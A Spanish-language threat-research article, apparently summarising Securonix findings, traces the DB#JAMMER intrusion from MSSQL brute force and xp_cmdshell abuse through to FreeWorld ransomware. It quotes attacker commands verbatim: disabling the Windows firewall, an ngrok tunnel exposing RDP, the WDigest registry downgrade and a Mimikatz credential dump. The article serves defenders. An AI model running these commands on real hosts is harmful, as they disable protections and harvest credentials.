En una interesante campaña de ataque, el equipo de Securonix Threat Research ha identificado actores de amenazas que se dirigen a servicios expuestos de Microsoft SQL (MSSQL) mediante ataques de fuerza bruta. Una de las cosas que hace que DB#JAMMER y el ransomware FreeWorld destaquen es cómo se utilizan la infraestructura de herramientas y las cargas útiles del atacante.
Algunas de estas herramientas incluyen software de enumeración, cargas útiles RAT, software de explotación y robo de credenciales y, finalmente, cargas útiles de ransomware. El ransomware elegido parece ser una variante más nueva de Mimic ransomware llamada FreeWorld. El texto de FreeWorld estaba presente en los nombres de los archivos binarios, así como en las extensiones de ransomware.
En este caso, los actores de amenazas apuntaron a un servidor MSSQL y pudieron obtener un punto de apoyo en la ejecución de código en el host utilizando la famosa función xp_cmdshell habilitada en el servidor. Una vez explotados, los atacantes inmediatamente comenzaron a enumerar el sistema y a ejecutar comandos de shell para debilitar las defensas y desplegar herramientas que ayudaron a establecer la persistencia en el host.
Dada la rapidez con la que los atacantes se pusieron a trabajar, este ataque parece ser bastante sofisticado desde las herramientas hasta la infraestructura.
Acceso inicial (TA0001)
Los actores de amenazas obtuvieron acceso al host de la víctima mediante fuerza bruta a un inicio de sesión MSSQL. Una vez autenticados, inmediatamente comenzaron a enumerar la base de datos, centrándose especialmente en otras credenciales de inicio de sesión.
Luego, al descubrir que el procedimiento almacenado de la función MSSQL xp_cmdshell estaba habilitado, los atacantes comenzaron a ejecutar comandos de shell en el host. Esta función permite la ejecución de comandos y normalmente no debe habilitarse a menos que sea necesario.
Enumeración del sistema (TA0007)
La enumeración se llevó a cabo utilizando algunos comandos básicos. La mayoría de ellos incluían wmic.exe, net.exe e ipconfig.exe. Cada uno se ejecutó a través de MSSQL xp_cmdshell:
Una vez que estuvieron seguros de que el sistema objetivo era legítimo, comenzaron la siguiente fase del ataque, que incluía realizar cambios de configuración para afectar las defensas del servidor.
Deteriorar defensas (T1562)
En este punto, los atacantes ejecutaron una amplia gama de comandos en el host, desde la creación/modificación de usuarios hasta cambios en el registro. Los comandos se ejecutaron en rápida sucesión, lo que indica que probablemente los estaban copiando de una lista de herramientas o un documento propio.
Creación de usuario (T1136)
Se crearon tres nuevos usuarios en el host de la víctima y cada uno fue agregado a los “usuarios de escritorio remoto”, “administradores”. A continuación se puede ver un ejemplo del comando. Como puede ver, se ejecutan varios comandos separados por el carácter “&” que crean y agregan usuarios al grupo de administradores en tres idiomas diferentes: inglés (administradores), alemán (administratoren), polaco (administratorzy), catalán (administradores) y español (administradores).
Si bien la parte del comando sobre pertenencia al grupo puede producir errores, proporciona a los atacantes un “un comando para gobernarlos a todos” cuando se trata de aumentar sus posibilidades de éxito cuando se desconoce el idioma del sistema.
Los atacantes ejecutaron múltiples comandos similares al anterior para cada uno de los usuarios antes mencionados. Una vez que los usuarios y grupos estuvieron en su lugar, se ejecutaron los siguientes comandos para garantizar que las contraseñas no caduquen y que el usuario nunca cierre la sesión:
net accounts /maxpwage:unlimited
net accounts /forcelogoff:no
Enumeración y modificación del registro (T1112)
Quedó claro que los atacantes preferían usar RDP para conectarse a la máquina víctima. Más tarde se observó el uso del software proxy Ngrok; sin embargo, para comprender el terreno, los atacantes enumeraron el estado actual del entorno RDP realizando cambios en el registro para garantizar el éxito de la conexión.
Deshabilitar el firewall del sistema (T1562.004)
En lugar de simplemente permitir conexiones a través del Firewall de Windows, o verificar su estado, los atacantes optaron por el enfoque “Ave María” y lo desactivaron por completo ejecutando:
netsh firewall set opmode disable
Establecer persistencia (TA0003)
En este punto, los atacantes habían desactivado gran parte de las defensas del sistema, especialmente en lo que respecta a la protección de la red y las autenticaciones RDP. La siguiente fase implicó conectarse a un recurso compartido SMB remoto para transferir herramientas de entrada y salida.
Primero se ejecutó un único comando para desconectar muchos de los recursos compartidos de la red. En cuanto a los motivos, no podemos decir que hacerlo podría interrumpir los procesos en ejecución y notificar a los administradores:
Uso de ngrok
En este punto, los atacantes intentaron establecer la persistencia de RDP a través de Ngrok. Ngrok permite eludir el firewall ejecutando un servicio en el host. Se proporciona al atacante una IP pública y un puerto para conectarse.
El binario Ngrok se copió en el sistema y simplemente se denominó n.exe. Se intentó establecer una conexión utilizando el siguiente comando a través de svr.exe:
cmd.exe /c c:/windows/system32/n.exe config add-authtoken [REDACTADO]
& c:/windows/system32/n.exe tcp 3389
El intento finalmente no tuvo éxito ya que Ngrok estaba siendo bloqueado por el firewall.
AnyDesk RAT
Para no desanimarse, los atacantes pasaron al software de acceso remoto, AnyDesk, que puede funcionar como una RAT. Los actores de amenazas lo han estado aprovechando durante bastante tiempo para enviar ransomware a sus víctimas.
Movimiento lateral (TA0008)
Con un gran nivel de perseverancia, los atacantes en este punto cambiaron de marcha y comenzaron a enumerar la red. Para eso se instaló la utilidad Advanced Port Scanner.
Volcado de credenciales (T1003)
Se ejecutó Mimikatz a través de otro archivo por lotes. El propósito era modificar primero el registro para forzar credenciales de texto sin cifrar. Esto se realiza mediante un ataque de degradación de WDigest. El archivo por lotes hizo esto ejecutando el siguiente comando invocando el cambio de registro.
reg add "hkey_local_machine\system\currentcontrolset\control\securityproviders\wdigest"
/v uselogoncredential /t reg_sz /d 1 /f
Luego, ejecuta mimikatz.exe para volcar las credenciales:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
El ransomware FreeWorld
En este punto, los atacantes se cansaron y descargaron e implementaron el ransomware Mimic en el host. FreeWorld ransomware parece ser una variante de Mimic ransomware, ya que sigue muchos TTP similares para llevar a cabo sus objetivos. Ambas variantes parecen abusar de la aplicación legítima Everything para consultar y localizar archivos de destino que se van a cifrar.
El dropper “5000.exe” extrajo 7zip y la aplicación Everything en el directorio temporal del usuario. “5000.exe” indicó a 7zip que extrajera el contenido de un Everything64.dll falso (que es un archivo protegido con contraseña) en el directorio actual. Esto se hizo usando el siguiente comando:
c:\users\windows\appdata\local\temp\7zipsfx.000\7za.exe x -y -p1[REDACTADO] everything64.dll
Tras la ejecución, el ransomware comenzó a cifrar el host de la víctima y generó archivos cifrados utilizando la extensión“.FreeWorldEncryption”. Una vez completado el cifrado, se crea un archivo de texto llamado “FreeWorld-Contact.txt” con instrucciones sobre cómo pagar el rescate.
Fuente: https://blog.segu-info.com.ar/2023/09/infeccion-de-sqlserver-mediante.html